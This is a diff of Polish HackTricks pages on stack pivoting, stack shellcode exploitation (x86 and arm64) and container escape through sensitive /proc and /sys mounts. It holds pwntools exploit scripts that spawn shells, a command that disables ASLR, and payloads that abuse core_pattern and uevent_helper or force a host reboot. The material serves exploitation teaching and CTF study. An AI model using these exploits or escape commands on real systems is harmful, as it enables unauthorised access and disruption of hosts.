Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego kodu powłoki (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **efektywnie wskazując na adres przechowywany przez atakującego.**\
|
||||
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **efektywnie wskazując na adres przechowywany przez atakującego.**\
|
||||
Zauważ, że musisz znać **2 adresy**: Ten, gdzie ma trafić ESP, gdzie będziesz musiał zapisać adres wskazywany przez ESP.
|
||||
|
||||
#### Konstrukcja ataku
|
||||
|
||||
Najpierw musisz znać **adres, gdzie możesz zapisać dowolne dane / adresy**. ESP będzie wskazywał tutaj i **wykona pierwsze `ret`**.
|
||||
Najpierw musisz znać **adres, gdzie możesz pisać dowolne dane / adresy**. ESP będzie wskazywał tutaj i **wykona pierwsze `ret`**.
|
||||
|
||||
Następnie musisz znać adres używany przez `ret`, który **wykona kod dowolny**. Możesz użyć:
|
||||
|
||||
* Prawidłowy adres [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
|
||||
* Adres **`system()`** poprzedzony **4 niepotrzebnymi bajtami** i adresem `"/bin/sh"` (bity x86).
|
||||
* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) poprzedzony **kodem powłoki** do wykonania.
|
||||
* Kilka łańcuchów [**ROP**](../rop-return-oriented-programing/).
|
||||
* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) poprzedzony **shellcodem** do wykonania.
|
||||
* Pewną łańcuch [**ROP**](../rop-return-oriented-programing/).
|
||||
|
||||
Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Można byłoby wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania.
|
||||
Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** ze względu na część **`pop`** instrukcji `leave`. Można wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania.
|
||||
|
||||
#### Atak Off-By-One
|
||||
|
||||
Istnieje specyficzna wersja tej techniki znana jako "Atak Off-By-One". Jest używana, gdy można **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres do skoku z **`ret`** musi dzielić trzy pierwsze bajty z EBP, co pozwala na podobną manipulację przy bardziej ograniczonych warunkach.\
|
||||
Zazwyczaj modyfikuje się bajt 0x00, aby skoczyć jak najdalej.
|
||||
Zazwyczaj modyfikowany jest bajt 0x00, aby skoczyć jak najdalej.
|
||||
|
||||
Jest również powszechne użycie ślizgu RET na stosie i umieszczenie prawdziwego łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do środka RET SLED, a ostateczny łańcuch ROP zostanie wykonany.
|
||||
Jest również powszechne użycie ślizgu RET na stosie i umieszczenie prawdziwej łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do ślizgu RET i zostanie wykonany ostateczny łańcuch ROP.
|
||||
|
||||
### **Łańcuchowanie EBP**
|
||||
|
||||
Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu do `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
|
||||
Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
|
||||
|
||||
Teraz **`ESP`** jest kontrolowany, wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:
|
||||
Teraz **`ESP`** jest kontrolowany wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:
|
||||
|
||||
* **`&(następny fałszywy EBP)`** -> Wczytaj nowy EBP z powodu `pop ebp` z instrukcji `leave`
|
||||
* **`system()`** -> Wywołane przez `ret`
|
||||
* **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie
|
||||
* **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i rozpocznie ponownie
|
||||
* **`&("/bin/sh")`**-> Parametr dla `system`
|
||||
|
||||
W ten sposób można łańcuchować kilka fałszywych EBPs, aby kontrolować przepływ programu.
|
||||
|
||||
To jest podobne do [ret2lib](../rop-return-oriented-programing/ret2lib/), ale bardziej złożone bez oczywistej korzyści, ale może być interesujące w niektórych skrajnych przypadkach.
|
||||
|
||||
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać funkcję wygrywającą. To jest ostateczny ładunek ze strony:
|
||||
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu** do wywołania funkcji wygrywającej. To jest ostateczny ładunek ze strony:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -106,7 +106,7 @@ print(p.recvline())
|
|||
```
|
||||
## EBP może nie być używany
|
||||
|
||||
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też jakiekolwiek wykorzystanie, które działa poprzez kontrolę EBP, zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.\
|
||||
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też jakiekolwiek wykorzystanie działające poprzez kontrolę EBP zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.\
|
||||
Dzieje się tak, ponieważ **prolog i epilog ulegają zmianie**, jeśli binarny jest zoptymalizowany.
|
||||
|
||||
* **Niezoptymalizowany:**
|
||||
|
@ -120,7 +120,7 @@ sub $0x100,%esp # increase stack size
|
|||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
* **Zoptymalizowane:**
|
||||
* **Zoptymalizowany:**
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
sub $0x100,%esp # increase stack size
|
||||
|
@ -200,4 +200,24 @@ Sprawdź technikę ret2esp tutaj:
|
|||
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
|
||||
* 64 bity, eksploatacja off by one z łańcuchem rop zaczynającym się od ret sled
|
||||
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
|
||||
* 64 bity, brak relro, canary, nx i pie. Program udostępnia wyciek stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisany łańcuch ROP w .bss i kończy się jego wywołaniem, obracając się z RBP.
|
||||
* 64 bity, brak relro, canary, nx i pie. Program udostępnia wyciek dla stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisany łańcuch ROP w .bss i kończy się jego wywołaniem, obracając się z RBP.
|
||||
|
||||
## ARM64
|
||||
|
||||
W ARM64, **prologi i epilogi** funkcji **nie przechowują i nie przywracają rejestru SP** na stosie. Dlatego domyślnie **nie będziesz mógł kontrolować rejestru SP** poprzez nadpisanie pewnych danych wewnątrz stosu.
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
99
binary-exploitation/stack-overflow/stack-shellcode/README.md
Normal file
|
@ -0,0 +1,99 @@
|
|||
# Kod Shellcode na Stosie
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe Informacje
|
||||
|
||||
**Kod shellcode na stosie** to technika używana w **eksploatacji binarnej**, gdzie atakujący zapisuje shellcode do stosu podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowany opis procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**.
|
||||
|
||||
### Przykład w języku C: Podatny Program
|
||||
|
||||
Zacznijmy od prostego przykładu podatnego programu w języku C:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Ten program jest podatny na przepełnienie bufora ze względu na użycie funkcji `gets()`.
|
||||
|
||||
### Kompilacja
|
||||
|
||||
Aby skompilować ten program, wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), można użyć poniższej komendy:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-fno-stack-protector`: Wyłącza ochronę stosu.
|
||||
* `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie.
|
||||
* `-no-pie`: Wyłącza wykonywalne niezależne od pozycji, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode.
|
||||
* `-m32`: Kompiluje program jako wykonywalny 32-bitowy, często używany ze względu na prostotę w tworzeniu exploitów.
|
||||
|
||||
### Python Exploit z użyciem Pwntools
|
||||
|
||||
Oto jak można napisać exploit w Pythonie, korzystając z **pwntools**, aby przeprowadzić atak **ret2shellcode**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Set up the process and context
|
||||
binary_path = './vulnerable'
|
||||
p = process(binary_path)
|
||||
context.binary = binary_path
|
||||
context.arch = 'i386' # Specify the architecture
|
||||
|
||||
# Generate the shellcode
|
||||
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
||||
|
||||
# Find the offset to EIP
|
||||
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
||||
|
||||
# Prepare the payload
|
||||
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
||||
nop_slide = asm('nop') * (offset - len(shellcode))
|
||||
payload = nop_slide + shellcode
|
||||
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
||||
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
|
||||
# Send the payload
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu powłoki**, a następnie nadpisuje **EIP** adresem wskazującym na slajd NOP, zapewniając wykonanie kodu powłoki.
|
||||
|
||||
**Slajd NOP** (`asm('nop')`) jest używany do zwiększenia szansy, że wykonanie "poślizgnie się" do naszego kodu powłoki bez względu na dokładny adres. Dostosuj argument `p32()` do adresu początkowego bufora plus przesunięcia, aby trafić na slajd NOP.
|
||||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **powinien być wyłączony**, aby adres był niezawodny podczas kolejnych wykonan lub adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
|
||||
* [**Canary na stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinien być również wyłączony, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.
|
||||
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) ochrona **stosu** uniemożliwi wykonanie kodu powłoki wewnątrz stosu, ponieważ ta strefa nie będzie wykonawcza.
|
||||
|
||||
## Inne przykłady i odnośniki
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
|
||||
* 64-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
|
||||
* 32-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
|
||||
* 32-bitowy, ASLR z wyciekiem adresu stosu, porównanie w celu zapobieżenia wywołaniu exit(), nadpisanie zmiennej wartością, napisz kod powłoki i skocz do niego
|
|
@ -0,0 +1,85 @@
|
|||
# Kod Shellcode - arm64
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
Znajdź wprowadzenie do arm64 w:
|
||||
|
||||
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kod 
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Kompiluj bez pie, canary i nx:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
|
||||
```
|
||||
## Brak ASLR & Brak canary - Przepełnienie stosu 
|
||||
|
||||
Aby zatrzymać ASLR wykonaj:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
Aby uzyskać **przesunięcie bof sprawdź ten link**.
|
||||
|
||||
Wykorzystanie:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Load the binary
|
||||
binary_name = './bof'
|
||||
elf = context.binary = ELF(binary_name)
|
||||
|
||||
# Generate shellcode
|
||||
shellcode = asm(shellcraft.sh())
|
||||
|
||||
# Start the process
|
||||
p = process(binary_name)
|
||||
|
||||
# Offset to return address
|
||||
offset = 72
|
||||
|
||||
# Address in the stack after the return address
|
||||
ret_address = p64(0xfffffffff1a0)
|
||||
|
||||
# Craft the payload
|
||||
payload = b'A' * offset + ret_address + shellcode
|
||||
|
||||
print("Payload length: "+ str(len(payload)))
|
||||
|
||||
# Send the payload
|
||||
p.send(payload)
|
||||
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
Jedyną "skomplikowaną" rzeczą do znalezienia tutaj byłby adres na stosie do wywołania. W moim przypadku wygenerowałem exploit z adresem znalezionym za pomocą gdb, ale potem podczas jego wykorzystywania nie działał (ponieważ adres stosu trochę się zmienił).
|
||||
|
||||
Otworzyłem wygenerowany plik **`core`** (`gdb ./bog ./core`) i sprawdziłem rzeczywisty adres początku shellcode'u.
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@ Ujawnienie `/proc` i `/sys` bez odpowiedniej izolacji przestrzeni nazw wprowadza
|
|||
|
||||
**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
## Zagrożenia związane z procfs
|
||||
## Zagrożenia procfs
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
|
@ -31,29 +31,29 @@ Ten katalog umożliwia dostęp do modyfikacji zmiennych jądra, zazwyczaj za pom
|
|||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
* Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
* Umożliwia zdefiniowanie programu do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
|
||||
* Pozwala zdefiniować program do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
|
||||
* **Przykład testowania i eksploatacji**:
|
||||
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługującego
|
||||
sleep 5 && ./crash & # Wywołanie obsługującego
|
||||
echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługiwacza
|
||||
sleep 5 && ./crash & # Wywołanie obsługiwacza
|
||||
```
|
||||
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
* Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Szczegółowo opisany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Zawiera ścieżkę do ładowacza modułów jądra, wywoływanego do ładowania modułów jądra.
|
||||
* **Przykład sprawdzania dostępu**:
|
||||
|
||||
```bash
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdzanie dostępu do modprobe
|
||||
```
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
* Odwołanie w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Wzmiankowany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Globalna flaga kontrolująca, czy jądro ma panikować czy wywoływać zabójcę OOM, gdy wystąpi warunek OOM.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
@ -101,7 +101,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
|
|||
|
||||
* Interfejsuje z urządzeniem pamięci jądra `/dev/mem`.
|
||||
* Historycznie podatny na ataki eskalacji uprawnień.
|
||||
* Więcej w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Więcej na temat [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
|
@ -112,7 +112,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
|
|||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
* Alternatywny interfejs dla `/dev/kmem`, reprezentujący wirtualną pamięć jądra.
|
||||
* Alternatywny interfejs dla `/dev/kmem`, reprezentujący pamięć wirtualną jądra.
|
||||
* Umożliwia odczytywanie i zapisywanie, co umożliwia bezpośrednią modyfikację pamięci jądra.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
@ -123,14 +123,14 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
|
|||
#### **`/proc/sched_debug`**
|
||||
|
||||
* Zwraca informacje o harmonogramowaniu procesów, omijając zabezpieczenia przestrzeni nazw PID.
|
||||
* Ujawnia nazwy procesów, identyfikatory PID i identyfikatory cgroup.
|
||||
* Ujawnia nazwy procesów, identyfikatory PID i grupy cgroup.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
* Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu.
|
||||
* Ujawnia lokalizację `rootfs` kontenera lub obrazu.
|
||||
|
||||
### Zagrożenia związane z `/sys`
|
||||
### Zagrożenia sysfs
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
|
@ -138,23 +138,23 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
|
|||
* Zapisywanie do `/sys/kernel/uevent_helper` może uruchamiać arbitralne skrypty po wyzwaleniu `uevent`.
|
||||
* **Przykład eksploatacji**: %%%bash
|
||||
|
||||
## Tworzy ładunek
|
||||
### Tworzy ładunek
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
## Znajduje ścieżkę hosta z montażu OverlayFS dla kontenera
|
||||
### Znajduje ścieżkę hosta z montowania OverlayFS dla kontenera
|
||||
|
||||
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
|
||||
|
||||
## Ustawia uevent\_helper na złośliwego pomocnika
|
||||
### Ustawia uevent\_helper na złośliwego pomocnika
|
||||
|
||||
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
|
||||
|
||||
## Wywołuje uevent
|
||||
### Wywołuje uevent
|
||||
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
|
||||
## Odczytuje wynik
|
||||
### Odczytuje wynik
|
||||
|
||||
cat /output %%%
|
||||
#### **`/sys/class/thermal`**
|
||||
|
@ -163,7 +163,7 @@ cat /output %%%
|
|||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
* Ujawnia adresy jądra, potencjalnie kompromitując KASLR.
|
||||
* Wycieka adresy jądra, potencjalnie kompromitując KASLR.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
|
@ -172,8 +172,8 @@ cat /output %%%
|
|||
|
||||
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
|
||||
|
||||
* Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
|
||||
* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożności uruchomienia hosta.
|
||||
* Ujawnia interfejsy do interakcji z zmiennymi EFI w pamięci NVRAM.
|
||||
* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożliwości uruchomienia hosta.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
|
@ -186,7 +186,7 @@ cat /output %%%
|
|||
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -199,7 +199,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
